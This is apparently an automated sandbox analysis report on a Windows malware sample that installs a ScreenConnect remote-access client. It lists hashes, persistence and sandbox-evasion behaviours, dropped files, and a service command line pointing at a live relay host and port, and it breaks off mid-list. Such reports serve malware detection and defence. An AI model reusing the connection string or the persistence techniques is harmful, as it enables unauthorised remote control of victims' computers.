Analysis
- max time kernel
92s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/07/2026, 12:02
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
22 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target 2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
- Size 12.6MB
- Sample260710-n7wrfaaz3j
- SHA256 8d9c02261231d6552007ceebd1a0319f1fb4632ab6711de19d4653578048b330
- MD5 0b1e7c08c19b125dc1efbe1fbb17e6f0
- SHA1 fe50b923582ec746fd7edb9c0e58b62b9f90988c
- SHA512 a3cef3ae9416bad3422fe1c6001b835120bd88f0c36c30169e8d2418c8e794fcc4d3b1dd6993d845d85b3788be271980650d92fdf2e4f187b6c0e27c32ad984f
- SSDEEP 98304:+RDRs6efPwypiTBNxNBWHPGS0h7276EpiTBNxNBWHmpiTBNxNBWHqpiTBNxNBWHT:+RdfefPwyK5OqyRK5xK57K5sK5xK5R
- TLSH T108D61201B3EA4979E5BF0A78E87A41549B35BC049B12C6BF53947D6D2D32BC089323B7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3437697693-2283162250-3003737219-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (5c579ccd203d09fa)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (5c579ccd203d09fa)\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=144.91.106.240&p=8041&s=d2a2a356-f310-44df-98e1-4e5cf38aca31&k=BgIAAACkAABSU0ExAAgAAAEAAQCBco5a46wCbyCAOcd12hr9ge8sSvODJIG5%2beYEwL%2ftvrTionW3Ni7DRHzVtQU%2fyqy99gQ4yrVtQTehq4%2bGLLNSJQDAFw51trRymMLhWpYc8hBXBi927VCISmN2bWiBEtDmFQ8ZsU8XsYAuijFxmtvMbarAFJcXbiP1MiDP7QWfHYtJK%2beSDBvUF2HhgsyoXvA92hSFQczcKSjm2VnFXzPZIaT8mZ0YPTeWwAb8H3%2bgtS%2fHUbumx0c0Yn8NEbeP6p6jXo%2byXq%2fa82vuhOOoGGf3KUJk1L2lolwVaINRM%2bneIznmSbRwSIf8JEGZ8Ds6gMt%2bKmHXen001INKGxK85oC8&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAmHJ8AHjZLEarUgw0BKSiygAAAAACAAAAAAAQZgAAAAEAACAAAADn5g%2bDjsFeYx4k%2b3hMTwQMVaUOyTVVy8bk6ARzzjx0nQAAAAAOgAAAAAIAACAAAAAFMhePHXrfjrDT4oYEO3%2bLCgcwhmy%2fFkZeLehtmRr%2bV6AEAACf3B2%2bg6vccUWHg27Bk12i0udfD4W8fmSclbqchv0mB%2bozeJd8O3Sh1BPJOh3BSiQq0AA84dqhT53LC%2fnvsZa%2bd0GNoPGvTv7Kn92dOfvtCqZoZ%2fcPLoaD8GfRW9tFxftFg2%2bTT1dVtToNuRunVKt%2bfnJL8uYk%2biQDlOYSbyfFbcDZhBMdW3XUJphsy0u9zHfdDtR%2fpOWPjsgN4ixridezND3a1QIhNKpVxfqydx%2bjASc6nInPNkZw%2bMhJD2HbFfspCjbrIJU9LBATKvGuEliNMHOlzmC806MWw2rK%2fwCal5uW%2fmVAHlh46MGtnMRupyATFNM6EnFfF5QqOACaWlpyGFYFNxZZh6gCvlGfIJjS0h8gaHnjINBAgoWVK7O2ANF7a5XFQgtKbpn784OWYNUYMXhFbkvp8SHdeaVkPGNlFSWXuBYCcEZ39AhJkf50Oov%2fnj%2b%2bI8CrP3rqeWzqir14E20USeGyfdt7HnWxv4CPqPGl3fX0lHyz3ikJe86HuflR1gg%2bxHYg4OMWGgzImWuTKMyksvK1DF04yh3yFRDgsF1ZdhsZ4D%2bVQClw%2bFmgZNBWEg3zTZa0F1QgjXM%2bnSC5HoaR%2f9V656bKKJPeTFh6%2fgz2XLEJ63sGFZBFH70qC7%2bjKniAHoOBFA6YWGoGKg6Ao2ARL57AQ8rgwcIjhgEPG1xCpW2ZmtfBkvD5ma%2fRbCgra%2fWUXtJOT4ypIFrk%2fERVgxPYWqWyiKXd%2fz7VPwo5qIEsGEwfd3uepgJbMcZOyLtrFwCJ0jDPsDC5ghMbd1X1lMStqa7CVlNg7PgA%2bRVzEruVQsxcdBzpgkYtN03vQ02xuLhEnz2Qacl0TczhUgUu5%2b3eWTMb%2bwbnSRjQihEjUXI%2bF30kSPp9gA0qaRxEacX0ONHzLDXP5muRhlndRf0mbU%2fr%2f2tqPljyxFecciA1GWLLy%2bs1bV6%2fkvPN0XUn2B7NQbFx2yekfTDwvXxv%2fgUprfMxrZL%2fIjW1mE9p9n72wJDGwQgv4ZuXUS7UXhIeJNAO3QJ8edB6fu5TN3vmqZuAtIWcanL9Xrr7qDsPFRBTWET%2fNJYlsp8FEeRmHbzDBDu1KmizWOlFxzHS6d2%2blvYHzL%2frQ6tI0I%2fj9SoRmYXtJ%2f5VypWh2oROX%2b%2f%2b0q4cL05ohXSQuA1dddlNB5Ldgh19pp40bdhEad0s03%2fuMqSaK4mV%2bkveseZ8ptj4epm3zKaVgDVaQB5X9I4ugcoyX4bctBrVoo0UE1ooW%2bNQUEB1VbgO2hFF69iBaq6FaiTZsr2bnQ3TrvLR%2bnK0sE7vzDmmWQExUPeMiLIqKquPUl4kprYDZXrX8QhYGiqhBQ8UXvcn4v28NzO%2bPR4BWaAYjMHuZzRdPCToAvVPY8K%2fsPj8P9rO6ymvi%2fIXbHgUL6%2fJtSTYs0KbbQh53A1uaBdDFb5O7YbQtFZfQxS35jCDEj10XXJ1bE1eMcOk6fff%2b%2bf7FpS6XrTNbZwfdRBIbEWITgeJL7wUK2fcbxr1iyiy8rCNCG6q40ZVANSHGEIpsJYL%2ft6eK1KkWVLPHsQ8NWGf%2bJrmEphG7gIAz4EzTl%2fR81UaHkAAAACiaU37vSRMoWPTU%2bvb%2fJpfJFAe%2fMGfQgZmOs61kyY5vsBDqgI3FZXUFV6RcXlYcPrKjJb4WtNtCN9fB3yOpY37&r=&i=Untitled%20Session\"" ScreenConnect.ClientService.exe - Executes dropped EXE 3 IoCs
pid Process 4908 ScreenConnect.ClientService.exe 996 ScreenConnect.WindowsClient.exe 3092 ScreenConnect.WindowsClient.exe - Loads dropped DLL 22 IoCs
pid Process 364 MsiExec.exe 3988 rundll32.exe 3988 rundll32.exe 3988 rundll32.exe 3988 rundll32.exe 3988 rundll32.exe 3988 rundll32.exe 3988 rundll32.exe 3988 rundll32.exe 3988 rundll32.exe 1676 MsiExec.exe 2472 MsiExec.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe 4908 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: explorer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe - Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (5c579ccd203d09fa)\ijaoewfq.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (5c579ccd203d09fa)\ijaoewfq.newcfg ScreenConnect.ClientService.exe - Drops file in Program Files directory 16 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5c579ccd203d09fa)\system.config msiexec.exe - Drops file in Windows directory 17 IoCs
description ioc Process File created C:\Windows\Installer\SourceHash{463F85B5-E2D5-D831-5335-D4A1971B06DC} msiexec.exe File created C:\Windows\SystemTemp\~DFAD46482AD1668B13.TMP msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DF272624136A68EDEA.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSID3F2.tmp msiexec.exe File created C:\Windows\Installer\wix{463F85B5-E2D5-D831-5335-D4A1971B06DC}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\{463F85B5-E2D5-D831-5335-D4A1971B06DC}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DF5236A3DDD4E576FA.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSID1ED.tmp msiexec.exe File created C:\Windows\Installer\e59c924.msi msiexec.exe File opened for modification C:\Windows\Installer\{463F85B5-E2D5-D831-5335-D4A1971B06DC}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\~DFB7D78EF64703C114.TMP msiexec.exe File created C:\Windows\Installer\e59c922.msi msiexec.exe File opened for modification C:\Windows\Installer\MSID0B4.tmp msiexec.exe File opened for modification C:\Windows\Installer\e59c922.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2026-07-10_0b1e7c08c19b125dc1efbe1fbb17e6f0_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe - Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000002d4518aa2f06c7510000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838012d4518aa0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841012d4518aa000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e32d4518aa00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e62d4518aa00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened 